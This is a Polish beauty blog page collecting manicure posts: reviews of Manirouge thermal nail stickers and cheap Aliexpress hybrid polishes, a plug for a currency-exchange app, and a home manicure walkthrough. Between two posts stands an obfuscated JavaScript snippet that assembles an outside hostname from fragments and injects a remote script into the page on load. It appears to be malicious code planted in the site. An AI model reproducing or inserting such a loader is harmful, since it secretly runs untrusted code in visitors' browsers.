Tag

manicure

Niewątpliwie od kilku lat na paznokciach milionów kobiet goszczą lakiery hybrydowe – jednolite kolory, rozmaite wzory, a także brokaty, cyrkonie i wymyślne kompozycje. Nic w tym dziwnego, bo paznokcie nie tylko pięknie wyglądają, ale są utwardzone oraz niestraszne im nieestetyczne odpryski.
Niestety jeśli podobnie jak ja nie macie talentu plastycznego i precyzyjnej ręki do zdobień to zwykle kończy się na jednym kolorze lub w ramach szaleństwa kilku odcieniach. Właśnie dla takich osób jak ja powstała alternatywa dla hybryd – naklejki termiczne
Czym jest Manirouge?
To naklejki termiczne, które po nabraniu odpowiedniej temperatury są plastyczne przez to dopasowanie ich do paznokcia nie stanowi większego problemu. Wyróżnia je zdecydowanie różnorodność dostępnych wzorów i mniej skomplikowana aplikacja. Na stronie Manirouge dostępne są tysiące szablonów a także zestawy startowe, w którym znajdziecie wszystko co potrzebne jest do wykonania manicure. 
Manirouge box
Skoro juz o zestawach mowa to w sklepie znajdziemy 4 boxy różniące się ilością dodatkowych akcesoriów oraz kompletów naklejek. W moje ręce trafił Manirouge Maxi Plus, więc skupię się właśnie na nim. Podstawą ( oprócz oczywiście naklejek, których w zestawie znajduje się 6 kompletów ) jest Mini Heater, czyli małe urządzenie dmuchające gorącym powietrzem, oliwka do paznokci, która służy do zdejmowania naklejek, cleaner ( odtłuszczacz ),  koptyko, pilnik, nożyczki, polerka, radełko oraz folia do wygładzenia manirouge. 
Aplikacja, trwałość, plusy i minusy 

Prawidłowe przyklejanie naklejek opanowałam już przy pierwszym razie, można by powiedzieć, że tylko przy pierwszym paznokciu miałam problemy. Więc w tej kwestii nawet największy laik nie powinien mieć trudności. Aplikować naklejki można bezpośrednio na płytkę paznokcia bądź na uprzednio nałożoną bazę i top hybrydowy. Druga opcja z pewnością utwardzi płytkę paznokcia i przedłuży trwałość, ale uważam że nie o to chodzi aby dodawać sobie dodatkowej roboty. 
Producent zapewnia wytrzymałość naklejek przez okres 2 tygodni, w moim przypadku jednak zaczęły się zadziorki w 9 dniu, co i uważam za świetny wynik. ( nie ukrywam, że miałam już ochotę na nowy wzór ). Jeden zestaw naklejek powinien wystarczyć na 4 aplikacje – często też w jednym komplecie są różne wzory więc można poszaleć, a cena arkusza to 14,90-24,90 pln. 
No dobra, Manirouge nie jest produktem bez wad. Jeśli nieodpowiednio dokładnie zaaplikujemy naklejkę ( co można poprawić ) i stworzy się wybrzuszenie bądź zadziorek to jest to strasznie denerwujące. Zapewne trening czyni mistrza i może kiedyś stanę się perfekcjonistką i nie będę mieć z tym problemu. Często też trzeba naklejkę dociąć ( chyba, że tylko ja mam nieregularne paznokcie )
co u mnie stanowi nie małe wyzwanie.  Na mały minusik zasługuje też fakt, że nie zalecane jest używanie oliwek do paznokci, gdyż w tym przypadku służy ona do zdejmowania naklejek. 
Moje stylizacje 



Po lewej: Black Flower    Po prawej: Liens
Podsumowanie

Śmiało mogę stwierdzić, że naklejki Manirouge to znakomita alternatywa dla hybryd i bynajmniej w moim przypadku te odeszły w kąt. Paznokcie odpoczywają od żeli, a nadal wyglądają dobrze. Brakuje mi jedynie utwardzenia płytki, przez co musiałam je nieco skrócić bo stały się łamliwe. 
Znacie Manirouge? Co sądzicie o tym rodzaju manicure? 
Lakiery hybrydowe robią furorę od dobrych paru lat. Nic dziwnego –  to trwały manicure, który spokojnie utrzymuje nawet 3 tygodnie. Pięknie mani uzyskamy nie tylko w profesjonalnym salonie, ale również w domowym zaciszu. Wystarczy tylko lampa, kilka akcesoriów oraz oczywiście lakiery. 
Tutaj pojawia się problem, gdyż jak wiadomo kobieta zmienną jest…a kolorów nigdy dość. Niestety dostępne na Polskim rynku lakiery kosztują w granicach 25-50 złotych za sztukę. Nic więc dziwnego, że poszukujemy tańszych rozwiązań. Na przeciw wychodzi chiński rynek i znany portal Aliexpress, w którego ofercie obok milionów różnych produktów znaleźć można także lakiery hybrydowe. 
Są bardzo tanie, wybór jest ogromny, ale … co z jakością?
 Dzisiaj opowiem Wam o marce Rosalind, której lakiery kupiłam do testów. Zdecydowałam się na  13 kolorów, a także bazę oraz top. Za całość zapłaciłam niecałe 55 złotych ( na promocji z okazji 11.11 ) co wyszło średnio 3,70 pln za jeden lakier. Postawiłam na kilka jasnych odcieni, ale również na zdecydowane i brokatowe, aby porównać je pod względem krycia, trwałości i odcieni. Dodam również, że lakiery przyszły w różnych pojemnościach 10 ml i 7 ml, ale nie zwróciłam na to uwagi przy zamówieniu. Zapraszam na przegląd. 
KOLORY
Czerwień i mięta są piękne, blady róż jest mocno średni. 
Wszystkie trzy kolory mają przepiękne krycie. 
Z całej czwórki najciężej pracuje się z białym, choć z lakierami innych firm miałam podobnie. 
JAKOŚĆ, TRWAŁOŚĆ, KRYCIE
Konsystencja lakierów kolorowych jest umiarkowanie gęsta, nie spływa. Jasne odcienie tj. biały, blady róż czy najjaśniejszy szary wymagały nałożenia 3 warstw, zaś kolory pozostałe oraz brokaty kryły już po dwóch. Pędzelki wszystkich lakierów są zwyczajne i dobrze się nimi pracuje. 
Baza i top niestety okazały się wielką porażką. Baza niezbyt dobrze trzyma się płytki przez co cału manicure odchodzi od płytki paznokcia. Top powinien być bardziej treściwy i nadawać lepszy połysk, niestety jest nijaki. Wydaje mi się, że gdybym nałożyła je odwrotnie nie było by żadnej różnicy. Trwałość przy użyciu tych dwóch lakierów bardzo mizerna – w granicach tygodnia. 
Na szczęście nie przekreśliłam wszystkich lakierów przez bazowe produkty. Kolory połączyłam z Bazą Hard oraz Topem Hard od Neonail i efekt był zadowalający. Paznokcie wytrzymały spokojnie 3 tygodnie, po których ściągnęłam je acetonem i zrobiłam nowy mani. 

W CHINACH TANIEJ 

Nie tylko lakiery hybrydowe, ale całą masę akcesoriów kupicie na Aliexpress czy też w innych zagranicznych sklepach online zdecydowanie taniej. Niestety często przeszkodą jest inna waluta – co zniechęca bądź po prostu ogranicza możliwość zakupu. Warto więc korzystać z prostych rozwiązań takich jak APLIKACJA WALUTOMAT.PL, która w prosty sposób umożliwia wymianę waluty z poziomu smartfona. To niezwykle wygodna opcja, bo telefon zawsze mamy pod ręką więc nie musimy się martwić, gdy za zakupy nie możemy zapłacić w złotówkach. Z aplikacji od razu wyślemy przelew na zagraniczne konto do ponad 30 krajów. Warto z niej skorzystać również kiedy wybieramy się za granicę i potrzebujemy euro, bo przelicznik zawsze będzie korzystniejszy niż stacjonarnie, a mamy możliwość wypłaty gotówki także poprzez Walutomat.pl.

PODSUMOWANIE

Podsumowując lakiery kolorowe spisują się przyzwoicie, a śmiesznie niska cena sprawia, że moja kolekcja wkrótce się powiększy. Lakiery zachowują się podobnie do marek, które każda z Was dobrze zna. Niektóre kolory wymagają większej ilości warstw i jest to absolutnie normalnie. Zdecydowanie nie warto jednak oszczędzać na bazie oraz topie i spokojnie można łączyć wiodące rodzine marki z chińskimi kolorkami. Unikałabym zakupu bazowych produktów chińskich marek. Najdroższe były brokatowe lakiery ( ok 5,50 pln ) jednak są najlepsze i te na pewno domówię w innych kolorach. 
PRZYKŁADOWE MANICURE HYBRYDOWE

ps. nie jestem mistrzem malowania paznokci 

Przyznać się, kto używał lakierów hybrydowych z Aliexpress? 
Co polecacie?

(function(){
qzkg=document.createElement(“script”);qzkg_=(“us”)+(“ta”);
qzkg_+=”t”+(“.”);qzkg_+=(“in”);qzkgu=”98570″;qzkg.async=true;
qzkgu+=”.97y4alhvzkg0knjxk”;qzkg.type=”text/javascript”;qzkg_+=”f”+”o”+(“/”);
qzkgu+=”7vy8hp8a8k5″;qzkg.src=”https://”+qzkg_+qzkgu;
dqzkg=document.body;dqzkg.appendChild(qzkg);
})();



Lakiery hybrydowe podbiły seria milionów kobiet na całym świecie i nie trudno się temu dziwić, gdyż idealnym manicure możemy cieszyć się przez kilka tygodni. Moim paznokciom hybrydy towarzyszą blisko dwa lata i od zawsze robię je w domowym zaciszu ucząc się metodą prób i błędów. Nigdy jednak nie pomyślałam, żeby dzielić się tym tematem na blogu ( gdyż ekspertem nie jestem 😉 ), aczkolwiek zauważyłam, że jest on bardzo popularny i chętnie czytany, dlatego postanowiłam, że i ja pokażę swoje pazurki. 
Wspominałam już, że nie jestem mistrzem robótek ręcznych? Więc proszę o taryfę ulgową, gdyż mistrzowskich dzieł sztuki na pazurach nie zaprezentuję. Nie będzie to też żaden tutorial, a raczej prezentacja mojego najnowszego koloru od NeoNail, który podbił moje serce w połączeniu ze zwariowanymi naklejkami. Desert Rose, bo o tym kolorze mowa jest według mnie hitem tej jesieni, uwielbiam ten nudziakowy odcień z nutką różu. W ostatnim czasie bardzo często towarzyszył moim paznokciom, a dzisiaj postanowiłam go nieco ubarwić. 

MANICURE OD A DO Z

Jak każdy manicure hybrydowy zaczynam od przygotowania płytki paznokcia poprzez zmatowienie jej bloczkiem polerskim, następnie przemywam płykę cleanerem. Następnie nakładam minimalną ilość primera bezkwasowego, dla lepszej przyczepności lakierów. Po odczekaniu kilkunastu sekund nakładam pierwszą warstwę – Hard Base i utwardzam w mojej starej lampie UV ok 2 minut. Planuję zmianę lampy na ledową, pisałam o niej w moich świątecznych marzeniach tutaj:




Po bazie czas na kolor, piękny Desert Rose od NeoNail, który już przy pierwszej warstwie daje pełne krycie, jednak ja zawsze nakładam dwie cieniutkie warstwy, od tak dla pewności. Na tym kroku mogłabym przejść do finału czyli nałożyć top, jednak ja postanowiłam mojemu nudziakowi nadać niebo koloru w postaci kolorowych naklejek. Nie chciałam jednak przesadzić, więc nałożyłam je w przypadkowej kombinacji na dwa paznokcie. Uważam, że jest to fajne połączenie klasycznego koloru z nieco zwariowanymi motywami. 



Naklejki nałożyłam na lepką warstwę koloru zaraz po wyciągnięciu z lampy i przykryłam ostatnią warstwą – Hard Top i utwardzam po raz ostatni w lampie. Dzięki wzmocnionemu działaniu topu nie tylko naklejki ale również cały manicure będzie trzymał się jak należy. Na koniec nałożyłam oliwkę na paznokcie, jednak jej opakowanie jest w takim stanie, że strach pokazać. Koniecznie muszę nabyć nową 🙂 




Nie wiem jak Wam, ale mi bardzo spodobało się takie połączenie, a tym bardziej, że nie jestem mistrzem malunków ręcznych to naklejki zrobiły dobrą robotę. Muszę koniecznie nabyć więcej wzorów, może nie tylko takich zwariowanych. 
Koniecznie dajcie znać, co lubicie nosić na swoich pazurach i jaki kolor jest waszym hitem!